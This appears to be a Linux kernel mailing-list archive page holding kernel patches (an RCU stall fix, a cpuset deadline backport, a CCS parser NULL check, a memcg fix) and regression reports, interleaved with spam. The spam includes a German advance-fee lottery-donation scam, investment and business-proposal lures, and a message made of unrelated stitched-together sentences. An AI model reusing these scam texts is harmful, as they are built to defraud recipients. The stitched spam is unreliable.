Die EmilyWells Foundation ermutigt Menschen, sich ehrenamtlich für soziale oder wohltätige Zwecke zu engagieren und den weniger Glücklichen zu helfen. Lasst uns alle die wichtige Botschaft dieses großartigen Tages verbreiten und uns für das bedanken, was wir haben.
Ich bin Kristine Wellenstein, die Gewinnerin des Mega Millions-Jackpots in Höhe von 426 Millionen US-Dollar am 28. Januar. Ich gebe offiziell bekannt, dass Sie als einer von fünf Empfängern einer Spende in Höhe von 2.300.000 ausgewählt wurden. Dollar von der Emily Wells Foundation.
Diese Spende ist im Gedenken an meinen verstorbenen Enkel, der gerade einen Tag gelebt hat.
Für weitere Informationen antworten Sie bitte auf diese E-Mail.
Beste grüße:
Kristine Wellenstein
Gründerin/Vorsitzende: EmilyWells. Stiftung, Schenkung
2 years, 4 months
- 1
- 0
[PATCH 0/6] Backport rework of deadline bandwidth restoration for 5.15.y
by Qais Yousef
This is a backport of the series that fixes the way deadline bandwidth
restoration is done which is causing noticeable delay on resume path. It also
converts the cpuset lock back into a mutex which some users on Android too.
I lack the details but AFAIU the read/write semaphore was slower on high
contention.
Compile tested against some randconfig for different archs and tested against
android14-5.15 GKI kernel, which already contains a version of this backport.
My testing is limited to resume path only; and general phone usage to make sure
nothing falls apart. Would be good to have some deadline specific testing done
too.
Based on v5.15.127
Original series:
https://lore.kernel.org/lkml/20230508075854.17215-1-juri.lelli@redhat.com/
Thanks!
--
Qais Yousef
Dietmar Eggemann (2):
sched/deadline: Create DL BW alloc, free & check overflow interface
cgroup/cpuset: Free DL BW in case can_attach() fails
Juri Lelli (4):
cgroup/cpuset: Rename functions dealing with DEADLINE accounting
sched/cpuset: Bring back cpuset_mutex
sched/cpuset: Keep track of SCHED_DEADLINE task in cpusets
cgroup/cpuset: Iterate only if DEADLINE tasks are present
include/linux/cpuset.h | 12 ++-
include/linux/sched.h | 4 +-
kernel/cgroup/cgroup.c | 4 +
kernel/cgroup/cpuset.c | 232 ++++++++++++++++++++++++++--------------
kernel/sched/core.c | 41 ++++---
kernel/sched/deadline.c | 66 +++++++++---
kernel/sched/sched.h | 2 +-
7 files changed, 238 insertions(+), 123 deletions(-)
--
2.34.1
2 years, 4 months
- 1
- 6
Fwd: System becomes hot when put to sleep
by Bagas Sanjaya
Hi,
I notice a regression report on Bugzilla [1]. Quoting from it:
> I have a Dell Inspiron 14 5425 laptop with hardware specified below. Up till kernel version 6.1.39 the system can sleep and resume correctly but with kernel version 6.1.40 it heats up when put to sleep and drains battery very quickly. It seems CPU cannot suspend though the system can resume correctly and functions correctly after that. I believe many GPIO and pinctrl patches/fixes for the AMD platform beginning 6.1.40 and 6.4.5 has caused this issue. There is no error in logs and sleep/resume log messages in both 6.1.39 and 6.1.40 are the same. Only s2idle sleep mode is available on my system.
>
> -- CPU
> AMD Ryzen 5 5625U with Radeon Graphics
>
> -- PCI
> 00:00.0 Host bridge: Advanced Micro Devices, Inc. [AMD] Renoir Root Complex
> Subsystem: Dell Renoir Root Complex
> Flags: fast devsel
>
> 00:00.2 IOMMU: Advanced Micro Devices, Inc. [AMD] Renoir IOMMU
> Subsystem: Dell Renoir IOMMU
> Flags: bus master, fast devsel, latency 0, IRQ -2147483648
> Capabilities: <access denied>
>
> 00:01.0 Host bridge: Advanced Micro Devices, Inc. [AMD] Renoir PCIe Dummy Host Bridge
> Flags: fast devsel, IOMMU group 0
>
> 00:01.1 PCI bridge: Advanced Micro Devices, Inc. [AMD] Renoir PCIe GPP Bridge (prog-if 00 [Normal decode])
> Flags: bus master, fast devsel, latency 0, IRQ 34, IOMMU group 1
> Bus: primary=00, secondary=01, subordinate=01, sec-latency=0
> I/O behind bridge: 00002000-00002fff [size=4K]
> Memory behind bridge: d0600000-d07fffff [size=2M]
> Prefetchable memory behind bridge: 0000000450200000-00000004503fffff [size=2M]
> Capabilities: <access denied>
> Kernel driver in use: pcieport
>
> 00:01.2 PCI bridge: Advanced Micro Devices, Inc. [AMD] Renoir PCIe GPP Bridge (prog-if 00 [Normal decode])
> Flags: bus master, fast devsel, latency 0, IRQ 35, IOMMU group 2
> Bus: primary=00, secondary=02, subordinate=02, sec-latency=0
> I/O behind bridge: [disabled]
> Memory behind bridge: d0500000-d05fffff [size=1M]
> Prefetchable memory behind bridge: [disabled]
> Capabilities: <access denied>
> Kernel driver in use: pcieport
>
> 00:02.0 Host bridge: Advanced Micro Devices, Inc. [AMD] Renoir PCIe Dummy Host Bridge
> Flags: fast devsel, IOMMU group 3
>
> 00:02.2 PCI bridge: Advanced Micro Devices, Inc. [AMD] Renoir PCIe GPP Bridge (prog-if 00 [Normal decode])
> Flags: bus master, fast devsel, latency 0, IRQ 36, IOMMU group 4
> Bus: primary=00, secondary=03, subordinate=03, sec-latency=0
> I/O behind bridge: [disabled]
> Memory behind bridge: [disabled]
> Prefetchable memory behind bridge: 000000fcf0200000-000000fcf03fffff [size=2M]
> Capabilities: <access denied>
> Kernel driver in use: pcieport
>
> 00:08.0 Host bridge: Advanced Micro Devices, Inc. [AMD] Renoir PCIe Dummy Host Bridge
> Flags: fast devsel, IOMMU group 5
>
> 00:08.1 PCI bridge: Advanced Micro Devices, Inc. [AMD] Renoir Internal PCIe GPP Bridge to Bus (prog-if 00 [Normal decode])
> Flags: bus master, fast devsel, latency 0, IRQ 37, IOMMU group 6
> Bus: primary=00, secondary=04, subordinate=04, sec-latency=0
> I/O behind bridge: 00001000-00001fff [size=4K]
> Memory behind bridge: d0100000-d04fffff [size=4M]
> Prefetchable memory behind bridge: 000000fce0000000-000000fcf01fffff [size=258M]
> Capabilities: <access denied>
> Kernel driver in use: pcieport
>
> 00:08.2 PCI bridge: Advanced Micro Devices, Inc. [AMD] Renoir Internal PCIe GPP Bridge to Bus (prog-if 00 [Normal decode])
> Flags: bus master, fast devsel, latency 0, IRQ 38, IOMMU group 7
> Bus: primary=00, secondary=05, subordinate=05, sec-latency=0
> I/O behind bridge: [disabled]
> Memory behind bridge: d0000000-d00fffff [size=1M]
> Prefetchable memory behind bridge: [disabled]
> Capabilities: <access denied>
> Kernel driver in use: pcieport
>
> 00:14.0 SMBus: Advanced Micro Devices, Inc. [AMD] FCH SMBus Controller (rev 51)
> Subsystem: Dell FCH SMBus Controller
> Flags: 66MHz, medium devsel, IOMMU group 8
> Kernel driver in use: piix4_smbus
> Kernel modules: i2c_piix4, sp5100_tco
>
> 00:14.3 ISA bridge: Advanced Micro Devices, Inc. [AMD] FCH LPC Bridge (rev 51)
> Subsystem: Dell FCH LPC Bridge
> Flags: bus master, 66MHz, medium devsel, latency 0, IOMMU group 8
>
> 00:18.0 Host bridge: Advanced Micro Devices, Inc. [AMD] Device 166a
> Flags: fast devsel, IOMMU group 9
>
> 00:18.1 Host bridge: Advanced Micro Devices, Inc. [AMD] Device 166b
> Flags: fast devsel, IOMMU group 9
>
> 00:18.2 Host bridge: Advanced Micro Devices, Inc. [AMD] Device 166c
> Flags: fast devsel, IOMMU group 9
>
> 00:18.3 Host bridge: Advanced Micro Devices, Inc. [AMD] Device 166d
> Flags: fast devsel, IOMMU group 9
> Kernel driver in use: k10temp
> Kernel modules: k10temp
>
> 00:18.4 Host bridge: Advanced Micro Devices, Inc. [AMD] Device 166e
> Flags: fast devsel, IOMMU group 9
>
> 00:18.5 Host bridge: Advanced Micro Devices, Inc. [AMD] Device 166f
> Flags: fast devsel, IOMMU group 9
>
> 00:18.6 Host bridge: Advanced Micro Devices, Inc. [AMD] Device 1670
> Flags: fast devsel, IOMMU group 9
>
> 00:18.7 Host bridge: Advanced Micro Devices, Inc. [AMD] Device 1671
> Flags: fast devsel, IOMMU group 9
>
> 02:00.0 Non-Volatile memory controller: KIOXIA Corporation Device 000c (prog-if 02 [NVM Express])
> Subsystem: KIOXIA Corporation Device 0001
> Flags: bus master, fast devsel, latency 0, IRQ 58, NUMA node 0, IOMMU group 10
> Memory at d0500000 (64-bit, non-prefetchable) [size=16K]
> Capabilities: <access denied>
> Kernel driver in use: nvme
> Kernel modules: nvme
>
> 03:00.0 Network controller: MEDIATEK Corp. Device 7961
> Subsystem: Foxconn International, Inc. Device e0b7
> Flags: bus master, fast devsel, latency 0, IRQ 85, IOMMU group 11
> Memory at fcf0200000 (64-bit, prefetchable) [size=1M]
> Memory at fcf0300000 (64-bit, prefetchable) [size=16K]
> Memory at fcf0304000 (64-bit, prefetchable) [size=4K]
> Capabilities: <access denied>
> Kernel driver in use: mt7921e
> Kernel modules: mt7921e
>
> 04:00.0 VGA compatible controller: Advanced Micro Devices, Inc. [AMD/ATI] Device 15e7 (rev c2) (prog-if 00 [VGA controller])
> Subsystem: Dell Device 0b46
> Flags: bus master, fast devsel, latency 0, IRQ 49, IOMMU group 12
> Memory at fce0000000 (64-bit, prefetchable) [size=256M]
> Memory at fcf0000000 (64-bit, prefetchable) [size=2M]
> I/O ports at 1000 [size=256]
> Memory at d0400000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: <access denied>
> Kernel driver in use: amdgpu
> Kernel modules: amdgpu
>
> 04:00.1 Audio device: Advanced Micro Devices, Inc. [AMD/ATI] Device 1637
> Subsystem: Dell Device 0b46
> Flags: bus master, fast devsel, latency 0, IRQ 83, IOMMU group 13
> Memory at d04c8000 (32-bit, non-prefetchable) [size=16K]
> Capabilities: <access denied>
> Kernel driver in use: snd_hda_intel
> Kernel modules: snd_hda_intel
>
> 04:00.2 Encryption controller: Advanced Micro Devices, Inc. [AMD] Family 17h (Models 10h-1fh) Platform Security Processor
> Subsystem: Dell Family 17h (Models 10h-1fh) Platform Security Processor
> Flags: bus master, fast devsel, latency 0, IRQ 77, IOMMU group 14
> Memory at d0300000 (32-bit, non-prefetchable) [size=1M]
> Memory at d04cc000 (32-bit, non-prefetchable) [size=8K]
> Capabilities: <access denied>
> Kernel driver in use: ccp
> Kernel modules: ccp
>
> 04:00.3 USB controller: Advanced Micro Devices, Inc. [AMD] Renoir USB 3.1 (prog-if 30 [XHCI])
> Subsystem: Dell Renoir USB 3.1
> Flags: fast devsel, IRQ 40, IOMMU group 15
> Memory at d0100000 (64-bit, non-prefetchable) [size=1M]
> Capabilities: <access denied>
> Kernel driver in use: xhci_hcd
> Kernel modules: xhci_pci
>
> 04:00.4 USB controller: Advanced Micro Devices, Inc. [AMD] Renoir USB 3.1 (prog-if 30 [XHCI])
> Subsystem: Dell Renoir USB 3.1
> Flags: bus master, fast devsel, latency 0, IRQ 49, IOMMU group 16
> Memory at d0200000 (64-bit, non-prefetchable) [size=1M]
> Capabilities: <access denied>
> Kernel driver in use: xhci_hcd
> Kernel modules: xhci_pci
>
> 04:00.5 Multimedia controller: Advanced Micro Devices, Inc. [AMD] Raven/Raven2/FireFlight/Renoir Audio Processor (rev 01)
> Subsystem: Dell Raven/Raven2/FireFlight/Renoir Audio Processor
> Flags: bus master, fast devsel, latency 0, IRQ 81, IOMMU group 17
> Memory at d0480000 (32-bit, non-prefetchable) [size=256K]
> Capabilities: <access denied>
> Kernel driver in use: snd_rn_pci_acp3x
> Kernel modules: snd_pci_acp3x, snd_rn_pci_acp3x, snd_pci_acp5x, snd_pci_acp6x
>
> 04:00.6 Audio device: Advanced Micro Devices, Inc. [AMD] Family 17h (Models 10h-1fh) HD Audio Controller
> Subsystem: Dell Family 17h (Models 10h-1fh) HD Audio Controller
> Flags: bus master, fast devsel, latency 0, IRQ 59, IOMMU group 18
> Memory at d04c0000 (32-bit, non-prefetchable) [size=32K]
> Capabilities: <access denied>
> Kernel driver in use: snd_hda_intel
> Kernel modules: snd_hda_intel
>
> 05:00.0 SATA controller: Advanced Micro Devices, Inc. [AMD] FCH SATA Controller [AHCI mode] (rev 81) (prog-if 01 [AHCI 1.0])
> Flags: bus master, fast devsel, latency 0, IRQ 255, IOMMU group 19
> Memory at d0001000 (32-bit, non-prefetchable) [size=2K]
> Capabilities: <access denied>
> Kernel modules: ahci
>
> 05:00.1 SATA controller: Advanced Micro Devices, Inc. [AMD] FCH SATA Controller [AHCI mode] (rev 81) (prog-if 01 [AHCI 1.0])
> Flags: bus master, fast devsel, latency 0, IRQ 255, IOMMU group 20
> Memory at d0000000 (32-bit, non-prefetchable) [size=2K]
> Capabilities: <access denied>
> Kernel modules: ahci
>
> -- USB
> Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
> Bus 003 Device 003: ID 0489:e0c8 Foxconn / Hon Hai Wireless_Device
> Bus 003 Device 004: ID 17ef:608d Lenovo Optical Mouse
> Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
> Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
> Bus 001 Device 002: ID 0c45:6739 Microdia Integrated_Webcam_FHD
> Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
See Bugzilla for the full thread.
Anyway, I'm adding this regression to be tracked by regzbot:
#regzbot introduced: v6.1.40..v6.4.5 https://bugzilla.kernel.org/show_bug.cgi?id=217754
#regzbot title: increased temperature on sleep on Dell Inspiron 14 5425
[1]: https://bugzilla.kernel.org/show_bug.cgi?id=217754
--
An old man doll... just what I always wanted! - Clara
2 years, 4 months
- 2
- 1
Investment Consultation
by David Brennan
Attn:
I'm an Investment Consultant in the United Kingdom, I specialize
in searching for potential investments opportunities for high
net-worth clients worldwide.
Should this be of interest to you, please do not hesitate to
email me for further information.
Kind regards,
David Brennan
eMail:davbrennanb@gmail.com
2 years, 4 months
- 1
- 0
[PATCH] rcu: Update jiffies locally in rcu_cpu_stall_reset()
by Huacai Chen
The KGDB initial breakpoint gets an rcu stall warning after commit
a80be428fbc1f1f3bc9ed924 ("rcu: Do not disable GP stall detection in
rcu_cpu_stall_reset()").
[ 53.452051] rcu: INFO: rcu_preempt self-detected stall on CPU
[ 53.487950] rcu: 3-...0: (1 ticks this GP) idle=0e2c/1/0x4000000000000000 softirq=375/375 fqs=8
[ 53.528243] rcu: (t=12297 jiffies g=-995 q=1 ncpus=4)
[ 53.564840] CPU: 3 PID: 1 Comm: swapper/0 Not tainted 6.5.0-rc2+ #4848
[ 53.603005] Hardware name: Loongson Loongson-3A5000-HV-7A2000-1w-V0.1-CRB/Loongson-LS3A5000-7A2000-1w-CRB-V1.21, BIOS Loongson-UDK2018-V2.0.05099-beta8 08
[ 53.682062] pc 9000000000332100 ra 90000000003320f4 tp 90000001000a0000 sp 90000001000a3710
[ 53.724934] a0 9000000001d4b488 a1 0000000000000000 a2 0000000000000001 a3 0000000000000000
[ 53.768179] a4 9000000001d526c8 a5 90000001000a38f0 a6 000000000000002c a7 0000000000000000
[ 53.810751] t0 00000000000002b0 t1 0000000000000004 t2 900000000131c9c0 t3 fffffffffffffffa
[ 53.853249] t4 0000000000000080 t5 90000001002ac190 t6 0000000000000004 t7 9000000001912d58
[ 53.895684] t8 0000000000000000 u0 90000000013141a0 s9 0000000000000028 s0 9000000001d512f0
[ 53.937633] s1 9000000001d51278 s2 90000001000a3798 s3 90000000019fc410 s4 9000000001d4b488
[ 53.979486] s5 9000000001d512f0 s6 90000000013141a0 s7 0000000000000078 s8 9000000001d4b450
[ 54.021175] ra: 90000000003320f4 kgdb_cpu_enter+0x534/0x640
[ 54.060150] ERA: 9000000000332100 kgdb_cpu_enter+0x540/0x640
[ 54.098347] CRMD: 000000b0 (PLV0 -IE -DA +PG DACF=CC DACM=CC -WE)
[ 54.136621] PRMD: 0000000c (PPLV0 +PIE +PWE)
[ 54.172192] EUEN: 00000000 (-FPE -SXE -ASXE -BTE)
[ 54.207838] ECFG: 00071c1c (LIE=2-4,10-12 VS=7)
[ 54.242503] ESTAT: 00000800 [INT] (IS=11 ECode=0 EsubCode=0)
[ 54.277996] PRID: 0014c011 (Loongson-64bit, Loongson-3A5000-HV)
[ 54.313544] CPU: 3 PID: 1 Comm: swapper/0 Not tainted 6.5.0-rc2+ #4848
[ 54.430170] Stack : 0072617764726148 0000000000000000 9000000000223504 90000001000a0000
[ 54.472308] 9000000100073a90 9000000100073a98 0000000000000000 9000000100073bd8
[ 54.514413] 9000000100073bd0 9000000100073bd0 9000000100073a00 0000000000000001
[ 54.556018] 0000000000000001 9000000100073a98 99828271f24e961a 90000001002810c0
[ 54.596924] 0000000000000001 0000000000010003 0000000000000000 0000000000000001
[ 54.637115] ffff8000337cdb80 0000000000000001 0000000006360000 900000000131c9c0
[ 54.677049] 0000000000000000 0000000000000000 90000000017b4c98 9000000001912000
[ 54.716394] 9000000001912f68 9000000001913000 9000000001912f70 00000000000002b0
[ 54.754880] 90000000014a8840 0000000000000000 900000000022351c 0000000000000000
[ 54.792372] 00000000000002b0 000000000000000c 0000000000000000 0000000000071c1c
[ 54.829302] ...
[ 54.859163] Call Trace:
[ 54.859165] [<900000000022351c>] show_stack+0x5c/0x180
[ 54.918298] [<90000000012f6100>] dump_stack_lvl+0x60/0x88
[ 54.949251] [<90000000012dd5d8>] rcu_dump_cpu_stacks+0xf0/0x148
[ 54.981116] [<90000000002d2fb8>] rcu_sched_clock_irq+0xb78/0xe60
[ 55.012744] [<90000000002e47cc>] update_process_times+0x6c/0xc0
[ 55.044169] [<90000000002f65d4>] tick_sched_timer+0x54/0x100
[ 55.075488] [<90000000002e5174>] __hrtimer_run_queues+0x154/0x240
[ 55.107347] [<90000000002e6288>] hrtimer_interrupt+0x108/0x2a0
[ 55.139112] [<9000000000226418>] constant_timer_interrupt+0x38/0x60
[ 55.170749] [<90000000002b3010>] __handle_irq_event_percpu+0x50/0x160
[ 55.203141] [<90000000002b3138>] handle_irq_event_percpu+0x18/0x80
[ 55.235064] [<90000000002b9d54>] handle_percpu_irq+0x54/0xa0
[ 55.266241] [<90000000002b2168>] generic_handle_domain_irq+0x28/0x40
[ 55.298466] [<9000000000aba95c>] handle_cpu_irq+0x5c/0xa0
[ 55.329749] [<90000000012f7270>] handle_loongarch_irq+0x30/0x60
[ 55.361476] [<90000000012f733c>] do_vint+0x9c/0x100
[ 55.391737] [<9000000000332100>] kgdb_cpu_enter+0x540/0x640
[ 55.422440] [<9000000000332b64>] kgdb_handle_exception+0x104/0x180
[ 55.452911] [<9000000000232478>] kgdb_loongarch_notify+0x38/0xa0
[ 55.481964] [<900000000026b4d4>] notify_die+0x94/0x100
[ 55.509184] [<90000000012f685c>] do_bp+0x21c/0x340
[ 55.562475] [<90000000003315b8>] kgdb_compiled_break+0x0/0x28
[ 55.590319] [<9000000000332e80>] kgdb_register_io_module+0x160/0x1c0
[ 55.618901] [<9000000000c0f514>] configure_kgdboc+0x154/0x1c0
[ 55.647034] [<9000000000c0f5e0>] kgdboc_probe+0x60/0x80
[ 55.674647] [<9000000000c96da8>] platform_probe+0x68/0x100
[ 55.702613] [<9000000000c938e0>] really_probe+0xc0/0x340
[ 55.730528] [<9000000000c93be4>] __driver_probe_device+0x84/0x140
[ 55.759615] [<9000000000c93cdc>] driver_probe_device+0x3c/0x120
[ 55.787990] [<9000000000c93e8c>] __device_attach_driver+0xcc/0x160
[ 55.817145] [<9000000000c91290>] bus_for_each_drv+0x90/0x100
[ 55.845654] [<9000000000c94328>] __device_attach+0xa8/0x1a0
[ 55.874145] [<9000000000c925f0>] bus_probe_device+0xb0/0xe0
[ 55.902572] [<9000000000c8ec7c>] device_add+0x65c/0x860
[ 55.930635] [<9000000000c96704>] platform_device_add+0x124/0x2c0
[ 55.959669] [<9000000001452b38>] init_kgdboc+0x58/0xa0
[ 55.987677] [<900000000022015c>] do_one_initcall+0x7c/0x1e0
[ 56.016134] [<9000000001420f1c>] kernel_init_freeable+0x22c/0x2a0
[ 56.045128] [<90000000012f923c>] kernel_init+0x20/0x124
Currently rcu_cpu_stall_reset() set rcu_state.jiffies_stall to one check
period later, i.e. jiffies + rcu_jiffies_till_stall_check(). But jiffies
is only updated in the timer interrupt, so when kgdb_cpu_enter() begins
to run there may already be nearly one rcu check period after jiffies.
Since all interrupts are disabled during kgdb_cpu_enter(), jiffies will
not be updated. When kgdb_cpu_enter() returns, rcu_state.jiffies_stall
maybe already gets timeout.
We can set rcu_state.jiffies_stall to two rcu check periods later, e.g.
jiffies + (rcu_jiffies_till_stall_check() * 2) in rcu_cpu_stall_reset()
to avoid this problem. But this isn't a complete solution because kgdb
may take a very long time in irq disabled context.
Instead, update jiffies at the beginning of rcu_cpu_stall_reset() can
solve all kinds of problems [1]. But this causes a new problem because
updating jiffies is not NMI safe while rcu_cpu_stall_reset() may be used
in NMI context.
So we don't update the global jiffies, but only add the time 'delta' to
jiffies locally at the beginning of rcu_cpu_stall_reset() which has the
same effect.
[1] https://lore.kernel.org/rcu/20230814020045.51950-1-chenhuacai@loongson.cn/T…
Cc: stable(a)vger.kernel.org
Fixes: a80be428fbc1f1f3bc9ed924 ("rcu: Do not disable GP stall detection in rcu_cpu_stall_reset()")
Reported-off-by: Binbin Zhou <zhoubinbin(a)loongson.cn>
Signed-off-by: Huacai Chen <chenhuacai(a)loongson.cn>
---
kernel/rcu/tree_stall.h | 6 +++++-
1 file changed, 5 insertions(+), 1 deletion(-)
diff --git a/kernel/rcu/tree_stall.h b/kernel/rcu/tree_stall.h
index b10b8349bb2a..1bf1306cae23 100644
--- a/kernel/rcu/tree_stall.h
+++ b/kernel/rcu/tree_stall.h
@@ -153,8 +153,12 @@ static void panic_on_rcu_stall(void)
*/
void rcu_cpu_stall_reset(void)
{
+ unsigned long delta;
+
+ delta = nsecs_to_jiffies(ktime_get_ns() - ktime_get_coarse_ns());
+
WRITE_ONCE(rcu_state.jiffies_stall,
- jiffies + rcu_jiffies_till_stall_check());
+ jiffies + delta + rcu_jiffies_till_stall_check());
}
//////////////////////////////////////////////////////////////////////////////
--
2.39.3
2 years, 4 months
- 3
- 8
Cześć
by Victoria Cleland
19 sierpnia 2023 r.
Cześć,
Mam propozycję biznesową, którą chcę się z tobą podzielić. Odpowiedz w
języku angielskim, aby uzyskać więcej informacji.
Pozdrowienia
Pani Wiktorii Cleland
____________________
Sekretarz: Moradmand Celine
2 years, 4 months
- 1
- 0
[git:media_tree/master] media: i2c: ccs: Check rules is non-NULL
by Mauro Carvalho Chehab
This is an automatic generated email to let you know that the following patch were queued:
Subject: media: i2c: ccs: Check rules is non-NULL
Author: Sakari Ailus <sakari.ailus(a)linux.intel.com>
Date: Sat Jul 29 20:59:25 2023 +0200
Fix the following smatch warning:
drivers/media/i2c/ccs/ccs-data.c:524 ccs_data_parse_rules() warn: address
of NULL pointer 'rules'
The CCS static data rule parser does not check an if rule has been
obtained before checking for other rule types (which depend on the if
rule). In practice this means parsing invalid CCS static data could lead
to dereferencing a NULL pointer.
Reported-by: Hans Verkuil <hverkuil(a)xs4all.nl>
Fixes: a6b396f410b1 ("media: ccs: Add CCS static data parser library")
Cc: stable(a)vger.kernel.org # for 5.11 and up
Signed-off-by: Sakari Ailus <sakari.ailus(a)linux.intel.com>
Signed-off-by: Mauro Carvalho Chehab <mchehab(a)kernel.org>
drivers/media/i2c/ccs/ccs-data.c | 101 ++++++++++++++++++++++-----------------
1 file changed, 56 insertions(+), 45 deletions(-)
---
diff --git a/drivers/media/i2c/ccs/ccs-data.c b/drivers/media/i2c/ccs/ccs-data.c
index 45f2b2f55ec5..08400edf77ce 100644
--- a/drivers/media/i2c/ccs/ccs-data.c
+++ b/drivers/media/i2c/ccs/ccs-data.c
@@ -464,8 +464,7 @@ static int ccs_data_parse_rules(struct bin_container *bin,
rule_payload = __rule_type + 1;
rule_plen2 = rule_plen - sizeof(*__rule_type);
- switch (*__rule_type) {
- case CCS_DATA_BLOCK_RULE_ID_IF: {
+ if (*__rule_type == CCS_DATA_BLOCK_RULE_ID_IF) {
const struct __ccs_data_block_rule_if *__if_rules =
rule_payload;
const size_t __num_if_rules =
@@ -514,49 +513,61 @@ static int ccs_data_parse_rules(struct bin_container *bin,
rules->if_rules = if_rule;
rules->num_if_rules = __num_if_rules;
}
- break;
- }
- case CCS_DATA_BLOCK_RULE_ID_READ_ONLY_REGS:
- rval = ccs_data_parse_reg_rules(bin, &rules->read_only_regs,
- &rules->num_read_only_regs,
- rule_payload,
- rule_payload + rule_plen2,
- dev);
- if (rval)
- return rval;
- break;
- case CCS_DATA_BLOCK_RULE_ID_FFD:
- rval = ccs_data_parse_ffd(bin, &rules->frame_format,
- rule_payload,
- rule_payload + rule_plen2,
- dev);
- if (rval)
- return rval;
- break;
- case CCS_DATA_BLOCK_RULE_ID_MSR:
- rval = ccs_data_parse_reg_rules(bin,
- &rules->manufacturer_regs,
- &rules->num_manufacturer_regs,
- rule_payload,
- rule_payload + rule_plen2,
- dev);
- if (rval)
- return rval;
- break;
- case CCS_DATA_BLOCK_RULE_ID_PDAF_READOUT:
- rval = ccs_data_parse_pdaf_readout(bin,
- &rules->pdaf_readout,
- rule_payload,
- rule_payload + rule_plen2,
- dev);
- if (rval)
- return rval;
- break;
- default:
- dev_dbg(dev,
- "Don't know how to handle rule type %u!\n",
- *__rule_type);
- return -EINVAL;
+ } else {
+ /* Check there was an if rule before any other rules */
+ if (bin->base && !rules)
+ return -EINVAL;
+
+ switch (*__rule_type) {
+ case CCS_DATA_BLOCK_RULE_ID_READ_ONLY_REGS:
+ rval = ccs_data_parse_reg_rules(bin,
+ rules ?
+ &rules->read_only_regs : NULL,
+ rules ?
+ &rules->num_read_only_regs : NULL,
+ rule_payload,
+ rule_payload + rule_plen2,
+ dev);
+ if (rval)
+ return rval;
+ break;
+ case CCS_DATA_BLOCK_RULE_ID_FFD:
+ rval = ccs_data_parse_ffd(bin, rules ?
+ &rules->frame_format : NULL,
+ rule_payload,
+ rule_payload + rule_plen2,
+ dev);
+ if (rval)
+ return rval;
+ break;
+ case CCS_DATA_BLOCK_RULE_ID_MSR:
+ rval = ccs_data_parse_reg_rules(bin,
+ rules ?
+ &rules->manufacturer_regs : NULL,
+ rules ?
+ &rules->num_manufacturer_regs : NULL,
+ rule_payload,
+ rule_payload + rule_plen2,
+ dev);
+ if (rval)
+ return rval;
+ break;
+ case CCS_DATA_BLOCK_RULE_ID_PDAF_READOUT:
+ rval = ccs_data_parse_pdaf_readout(bin,
+ rules ?
+ &rules->pdaf_readout : NULL,
+ rule_payload,
+ rule_payload + rule_plen2,
+ dev);
+ if (rval)
+ return rval;
+ break;
+ default:
+ dev_dbg(dev,
+ "Don't know how to handle rule type %u!\n",
+ *__rule_type);
+ return -EINVAL;
+ }
}
__next_rule = __next_rule + rule_hlen + rule_plen;
}
2 years, 4 months
- 1
- 0
ATTENTION PLEASE
by Barrister Mohammed Abu Hamman
Good day.
I emailed you a week ago, but I’m not sure if you received it. Please
confirm if you receive it or not so I can be sure Thank you.
Yours Sincerely,
Mr.Mohammed
2 years, 4 months
- 1
- 0
Re: handlebar bag 2023/8/19 9:57:22
by Carrie | oreadybags
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These are the women of Maragua What are catastrophic effects? A three degree centigrade climate change rise that will result in 50 percent species extinction It starts with something we are all familiar with -- waves However, while we often think of stretching a muscle like stretching a rubber band, muscles are actually comprised of various tissue types, which interact to make a complex material And it may surprise you to know that "Where in the World is Carmen Sandiego?" continues to be the last substantial giant hit in the entertainment business, despite the fact that it was 1987, which is such an incredibly long time ago, and I'm only 36, so you can do the math
2 years, 4 months
- 1
- 0
[PATCH] workingset: ensure memcg is valid for recency check
by Nhat Pham
In eviction recency check, we are currently not holding a local
reference to the memcg that the refaulted folio belonged to when it was
evicted. This could cause serious memcg lifetime issues, for e.g in the
memcg hierarchy traversal done in mem_cgroup_get_nr_swap_pages(). This
has occurred in production:
[ 155757.793456] BUG: kernel NULL pointer dereference, address: 00000000000000c0
[ 155757.807568] #PF: supervisor read access in kernel mode
[ 155757.818024] #PF: error_code(0x0000) - not-present page
[ 155757.828482] PGD 401f77067 P4D 401f77067 PUD 401f76067 PMD 0
[ 155757.839985] Oops: 0000 [#1] SMP
[ 155757.846444] CPU: 7 PID: 1380944 Comm: ThriftSrv-pri3- Kdump: loaded Tainted: G S 6.4.3-0_fbk1_rc0_594_g8d0cbcaa67ba #1
[ 155757.870808] Hardware name: Wiwynn Twin Lakes MP/Twin Lakes Passive MP, BIOS YMM16 05/24/2021
[ 155757.887870] RIP: 0010:mem_cgroup_get_nr_swap_pages+0x3d/0xb0
[ 155757.899377] Code: 29 19 4a 02 48 39 f9 74 63 48 8b 97 c0 00 00 00 48 8b b7 58 02 00 00 48 2b b7 c0 01 00 00 48 39 f0 48 0f 4d c6 48 39 d1 74 42 <48> 8b b2 c0 00 00 00 48 8b ba 58 02 00 00 48 2b ba c0 01 00 00 48
[ 155757.937125] RSP: 0018:ffffc9002ecdfbc8 EFLAGS: 00010286
[ 155757.947755] RAX: 00000000003a3b1c RBX: 000007ffffffffff RCX: ffff888280183000
[ 155757.962202] RDX: 0000000000000000 RSI: 0007ffffffffffff RDI: ffff888bbc2d1000
[ 155757.976648] RBP: 0000000000000001 R08: 000000000000000b R09: ffff888ad9cedba0
[ 155757.991094] R10: ffffea0039c07900 R11: 0000000000000010 R12: ffff888b23a7b000
[ 155758.005540] R13: 0000000000000000 R14: ffff888bbc2d1000 R15: 000007ffffc71354
[ 155758.019991] FS: 00007f6234c68640(0000) GS:ffff88903f9c0000(0000) knlGS:0000000000000000
[ 155758.036356] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 155758.048023] CR2: 00000000000000c0 CR3: 0000000a83eb8004 CR4: 00000000007706e0
[ 155758.062473] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 155758.076924] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[ 155758.091376] PKRU: 55555554
[ 155758.096957] Call Trace:
[ 155758.102016] <TASK>
[ 155758.106502] ? __die+0x78/0xc0
[ 155758.112793] ? page_fault_oops+0x286/0x380
[ 155758.121175] ? exc_page_fault+0x5d/0x110
[ 155758.129209] ? asm_exc_page_fault+0x22/0x30
